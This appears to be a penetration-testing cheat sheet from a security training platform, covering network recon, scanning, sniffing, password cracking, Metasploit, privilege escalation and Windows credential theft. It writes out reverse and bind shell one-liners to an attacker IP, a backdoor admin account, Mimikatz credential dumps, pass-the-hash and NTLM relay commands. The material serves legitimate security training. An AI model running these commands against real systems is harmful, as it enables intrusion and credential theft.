To supplement the hacking courses on our Cyber Security Career Development Platform, here is our Hacking Tools Cheat Sheet.

PDF download also available.

Basic Linux Networking Tools

Show IP configuration:
# ip a lw

Change IP/MAC address:
# ip link set dev eth0 down
# macchanger -m 23:05:13:37:42:21 eth0
# ip link set dev eth0 up

Static IP address configuration:
# ip addr add 10.5.23.42/24 dev eth0

DNS lookup:
# dig compass-security.com

Reverse DNS lookup:
# dig -x 10.5.23.42

Information Gathering

Find owner/contact of domain or IP address:
# whois compass-security.com

Get nameservers and test for DNS zone transfer:
# dig example.com ns
# dig example.com axfr @n1.example.com

Get hostnames from CT logs: Search for
%.compass-security.com on https://crt.sh.

Or using an nmap script:
# nmap -sn -Pn compass-security.com
–script hostmap-crtsh

Combine various sources for subdomain enum:
# amass enum -src -brute -min-forrecursive
2 -d compass-security.com

TCP Tools

Listen on TCP port:
# ncat -l -p 1337

Connect to TCP port:
# ncat 10.5.23.42 1337

TLS Tools

Create self-signed certificate:
# openssl req -x509 -newkey rsa:2048
-keyout key.pem -out cert.pem -nodes
-subj “/CN=example.org/”

Start TLS Server:
# ncat –ssl -l -p 1337 –ssl-cert
cert.pem –ssl-key key.pem

Connect to TLS service:
# ncat –ssl 10.5.23.42 1337

Connect to TLS service using openssl:
# openssl s_client -connect
10.5.23.42:1337

Show certificate details:
# openssl s_client -connect
10.5.23.42:1337 | openssl x509 -text

Test TLS server certificate and ciphers:
# sslyze –regular 10.5.23.42:443

TCP to TLS proxy:
# socat TCP-LISTEN:2305,fork,reuseaddr
ssl:example.com:443

Online TLS tests:
 ssllabs.com, hardenize.com

HTTP Tools

Start Python webserver on port 2305:
# python3 -m http.server 2305

Perform HTTP Request:
# curl http://10.5.23.42:2305/?foo=barUseful curl options:

Useful curl options:

• -k: Accept untrusted certificates
• -d “foo=bar”: HTTP POST data
• -H: “Foo: Bar”: HTTP header
• -I: Perform HEAD request
• -L: Follow redirects
• -o foobar.html: Write output file
• –proxy http://127.0.0.1:8080: Set proxy

Scan for common files/applications/configs:
# nikto -host https://example.net

Enumerate common directory-/filenames:
# gobuster dir -k -u
https://example.net -w
/usr/share/wordlists/dirb/common.txt

Sniffing

ARP spoofing:
# arpspoof -t 10.5.23.42 10.5.23.1

Or a graphical tool:
# ettercap -G

Show ARP cache:
# ip neigh

Delete ARP cache:
# ip neigh flush all

Sniff traffic:
# tcpdump [options] [filters]

Useful tcpdump options:

• -i interface: Interface or any for all
• -n: Disable name and port resolution
• -A: Print in ASCII
• -XX: Print in hex and ASCII
• -w file: Write output PCAP file
• -r file: Read PCAP file

Useful tcpdump filters:

• not arp: No ARP packets
• port ftp or port 23: Only port 21 or 23
• host 10.5.23.31: Only from/to host
• net 10.5.23.0/24: Only from/to hosts in

network
Advanced sniffing using tshark or Wireshark.

Sniffing over SSH on a remote host:
# ssh 10.5.23.42 tcpdump -w- port not
ssh | wireshark -k -i –

Search in network traffic:
# ngrep -i password

Show HTTP GET requests:
# urlsnarf

Show transmitted images:
# driftnet

Network Scanning

ARP Scan:
# nmap -n -sn -PR 10.5.23.0/24

Reverse DNS lookup of IP range:
# nmap -sL 10.5.23.0/24

Nmap host discovery (ARP, ICMP, SYN 443/tcp,
ACK 80/tcp):
# nmap -sn -n 10.5.23.0/24

TCP scan (SYN scan = half-open scan):
# nmap -Pn -n -sS -p
22,25,80,443,8080 10.5.23.0/24

List Nmap scripts:
# ls /usr/share/nmap/scripts

Scan for EternalBlue vulnerable hosts:
# nmap -n -Pn -p 443 –script smbvuln-
ms17-010 10.5.23.0/24

Scan for vulnerabilities (script category filter):
# nmap -n -Pn –script “vuln and safe”
10.5.23.0/24

Performance Tuning (1 SYN packet ≈ 60 bytes
→ 20’000 packets/s ≈ 10 Mbps):
# nmap -n -Pn –min-rate 20000
10.5.23.0/24

Useful nmap options:

• -n: Disable name and port resolution
• -PR: ARP host discovery
• -Pn: Disable host discovery
• -sn: Disable port scan (host discovery only)
• -sS/-sT/-sU: SYN/TCP connect/UDP scan
• –top-ports 50: Scan 50 top ports
• -iL file: Host input file
• -oA file: Write output files (3 types)
• -sC: Script scan (default scripts)
• –script : Specific scripts
• -sV: Version detection
• -6: IPv6 scan

The target can be specified using CIDR notation
(10.5.23.0/24) or range definitions (10.13-
37.5.1-23).

Fast scan using masscan:
# masscan -p80,8000-8100 –rate 20000
10.0.0.0/8

Public internet scan databases:

• shodan.io, censys.io

Shells

Start bind shell (on victim):
# ncat -l -p 2305 -e “/bin/bash -i”

Connect to bind shell (on attacker):
# ncat 10.5.23.42 2305

Listen for reverse shell (on attacker):
# ncat -l -p 23

Start reverse shell (on victim):
# ncat -e “/bin/bash -i” 10.5.23.5 23

Start reverse shell with bash only (on victim):
# bash -i &>/dev/tcp/10.5.23.5/42 0>&1

Upgrade to pseudo terminal:
# python -c ‘import pty;
pty.spawn(“/bin/bash”)’

Vulnerability DBs and Exploits

Exploit search (local copy of the Exploit-DB):
# searchsploit apache

Show exploit file path and copy it into clipboard:
# searchsploit -p 40142

Online vulnerability and exploit databases:

cvedetails.com, exploit-db.com,
packetstormsecurity.com

Cracking

Try SSH passwords from a wordlist:
# ncrack -p 22 –user root -P
./passwords.txt 10.5.23.0/24

Determine hash type:
# hashid 869d[…]bd88

Show example hash types for hashcat:
# hashcat –example-hashes

Crack hashes (e.g. 5600 for NetNTLMv2 type):
# hashcat -m 5600 -a 0 hash.txt
/path/to/wordlists/*

Crack hashes using John the Ripper:
# john hashes.txt

Metasploit Framework

Start Metasploit:
# msfconsole

Search exploit:
> search eternalblue

Use exploit:
msf > use exploit/windows/smb/ms17_…

Configure exploit:
msf exploit(…) > show options
msf exploit(…) > set TARGET 10.5.23.42

Run exploit:
msf exploit(…) > exploit

Generate reverse shell (WAR):
# msfvenom -p
java/jsp_shell_reverse_tcp LHOST=<your
ip address> LPORT=443 -f war > sh.war

Reverse shell listener:
> use exploit/multi/handler
> set payload
linux/x64/shell_reverse_tcp
> set LHOST 10.5.23.42 # attacker
> set LPORT 443
> exploit

Upgrade to Meterpreter (or press ^Z (Ctrl-Z)):
background
Background session 1? [y/N] y
> sessions # list sessions
> sessions -u 1 # Upgrade
> sessions 2 # interact with session 2
meterpreter > sysinfo # use it

Upload / download files:
meterpreter > upload pwn.exe
meterpreter > download c:\keepass.kdb

Execute a file:
meterpreter > execute -i -f /your/bin

Port forwarding to localhost:
meterpreter > portfwd add -l 2323 -p
3389 -r 10.5.23.23

Background Meterpreter session:
meterpreter > background

Pivoting through existing Meterpreter session:
> use post/multi/manage/autoroute
> set session 2 # meterpreter session
> run
> route

SOCKS via Meterpreter (requires autoroute):
> use auxiliary/server/socks4a
> set SRVPORT 8080
> run

Configure ProxyChains:
# vi /etc/proxychains.conf
[…]
socks4 127.0.0.1 1080

Connect through SOCKS proxy:
# proxychains ncat 172.23.5.42 1337

Linux Privilege Escalation

Enumerate local information (-t for more tests):
# curl -o /tmp/linenum
https://raw.githubusercontent.com/rebo
otuser/LinEnum/master/LinEnum.sh
# bash /tmp/linenum -r /tmp/report

Other hardening checks can be done using lynis
or LinPEAS.
Use sudo/SUID/capabilities/etc. exploits from
gtfobins.github.io.

Windows Privilege Escalation

Copy PowerUp.ps1 from GitHub “PowerShellMafia/
PowerSploit” into PowerShell to
bypass ExecutionPolicy and execute Invoke-
AllChecks. Use the abuse functions.

Add a new local admin:
C:\> net user backdoor P@ssw0rd23
C:\> net localgroup Administrators
backdoor /add

Scan for network shares:
# smbmap.py –host-file smbhosts.txt –
u Administrator -p PasswordOrHash

Windows Credentials Gathering

Start Mimikatz and create log file:
C:\>mimikatz.exe
# privilege::debug
# log C:\tmp\mimikatz.log

Read lsass.exe process dump:
# sekurlsa::minidump lsass.dmp
Dump lsass.exe in taskmgr or procdump.

Show passwords/hashes of logged in users:
# sekurlsa::logonpasswords

Backup SYSTEM & SAM hive:
C:\>reg save HKLM\SYSTEM system.hiv
C:\>reg save HKLM\SAM sam.hiv

Extract hashes using Mimikatz:
# lsadump::sam /system:system.hiv
/sam:sam.hiv

Pass-the-Hash

Shell via pass-the-hash (Impacket Tools):
# ./psexec.py -hashes
:011AD41795657A8ED80AB3FF6F078D03
domain/username@10.5.23.42

Over a subnet and extract SAM file:
# crackmapexec -u Administrator -H
:011AD41795657A8ED80AB3FF6F078D03
10.5.23.0/24 –sam

Browse shares via pass-the-hash:
# ./smbclient.py
domain/usrname@10.5.23.42 -hashes
:011AD41795657A8ED80AB3FF6F078D03

RDP via pass-the-hash:
# xfreerdp /u:user /d:domain /pth:
011AD41795657A8ED80AB3FF6F078D03
/v:10.5.23.42

Meterpreter via pass-the-hash:
msf > set payload
windows/meterpreter/reverse_tcp
msf > set LHOST 10.5.23.42 # attacker
msf > set LPORT 443
msf > set RHOST 10.5.23.21 # victim
msf > set SMBPass 01[…]03:01[…]03
msf > exploit
meterpreter > shell
C:\WINDOWS\system32>

NTLM Relay

Vulnerable if message_signing: disabled:
# nmap -n -Pn -p 445 –script smbsecurity-
mode 10.5.23.0/24

Disable SMB and HTTP in Responder.conf and
start Responder:
# ./Responder.py -I eth0

NTLM Relay to target and extract SAM file:
# ./ntlmrelayx.py -smb2support -t
smb://10.5.23.42

NTLM Relay using socks proxy:
# ./ntlmrelayx.py -tf targets.txt
-smb2support -socks
Configure ProxyChains:
# vi /etc/proxychains.conf
[…]
socks4 127.0.0.1 1080

Access files via SOCKS proxy:
# proxychains smbclient -m smb3
‘\\10.5.23.42\C$’ -W pc05 -U
Administrator%invalidPwd

Active Directory

Use SharpHound to gather information and import
into Bloodhound to analyze.

Download PingCastle from pingcastle.com and
generate Report.